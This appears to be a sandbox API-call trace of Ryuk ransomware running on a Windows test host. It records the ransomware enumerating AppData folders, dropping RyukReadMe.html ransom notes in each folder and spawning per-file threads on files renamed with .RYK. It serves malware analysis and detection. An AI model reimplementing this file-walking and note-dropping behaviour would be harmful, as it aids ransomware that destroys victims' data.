	[0278.826] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ccb74e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ccb74e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0278.826] SetLastError (dwErrCode=0x0) 
	[0278.826] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0278.827] GetLastError () returned 0xb7
	[0278.827] CloseHandle (hObject=0x8dc) returned 1
	[0278.827] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ccb74e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ccb74e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.827] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ccb74e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ccb74e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.827] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.827] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 1
	[0278.827] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870
	[0278.832] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.833] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 0
	[0278.833] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.833] SetLastError (dwErrCode=0x0) 
	[0278.833] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0278.968] GetLastError () returned 0x0
	[0278.968] WriteFile (in: hFile=0x358, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0278.970] CloseHandle (hObject=0x358) returned 1
	[0278.971] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ccb74e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ccb74e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0278.971] SetLastError (dwErrCode=0x0) 
	[0278.971] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0278.971] GetLastError () returned 0xb7
	[0278.971] CloseHandle (hObject=0x358) returned 1
	[0278.971] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ccb74e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ccb74e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.972] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ccb74e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ccb74e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.972] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.972] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 1
	[0278.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0278.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c
	[0278.974] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.975] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 0
	[0278.975] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.975] SetLastError (dwErrCode=0x0) 
	[0278.975] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0278.975] GetLastError () returned 0x0
	[0278.975] WriteFile (in: hFile=0x358, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0278.977] CloseHandle (hObject=0x358) returned 1
	[0278.978] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.978] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7ccdd640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8122, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0278.978] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0278.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0278.979] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.980] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7cd037a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd037a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
	[0278.980] SetLastError (dwErrCode=0x0) 
	[0278.980] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0278.980] GetLastError () returned 0xb7
	[0278.980] CloseHandle (hObject=0x8dc) returned 1
	[0278.981] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7cd037a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd037a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.981] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7cd037a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd037a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.981] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.981] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 1
	[0278.981] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0278.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4
	[0278.983] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.984] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1
	[0278.984] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0278.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c
	[0278.985] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.986] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 0
	[0278.986] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.986] SetLastError (dwErrCode=0x0) 
	[0278.986] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c
	[0278.992] GetLastError () returned 0x0
	[0278.992] WriteFile (in: hFile=0x86c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0278.993] CloseHandle (hObject=0x86c) returned 1
	[0278.994] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c7f48e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7c7f48e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c7f48e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.994] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c7f48e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7c7f48e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c7f48e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.994] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.994] SetLastError (dwErrCode=0x0) 
	[0278.994] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.994] GetLastError () returned 0xb7
	[0278.994] CloseHandle (hObject=0x8cc) returned 1
	[0278.994] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x7dc303e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7dc303e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1
	[0278.994] SetLastError (dwErrCode=0x0) 
	[0278.994] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.995] GetLastError () returned 0xb7
	[0278.995] CloseHandle (hObject=0x8cc) returned 1
	[0278.995] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x7dc303e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7dc303e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.995] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x7dc303e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7dc303e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.995] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x78bd9d60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x3c1f2, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="FRMCACHE.DAT.RYK", cAlternateFileName="FRMCAC~1.RYK")) returned 1
	[0278.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0278.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c
	[0278.997] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.997] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd29900, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
